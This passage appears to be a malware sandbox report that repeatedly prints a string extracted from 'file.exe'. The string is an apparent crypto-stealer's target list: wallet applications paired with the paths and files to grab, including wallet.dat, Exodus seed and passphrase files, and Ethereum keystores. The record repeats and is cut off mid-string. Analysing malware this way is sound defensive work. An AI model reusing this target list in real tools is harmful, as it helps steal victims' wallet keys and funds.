Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2035943037.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia 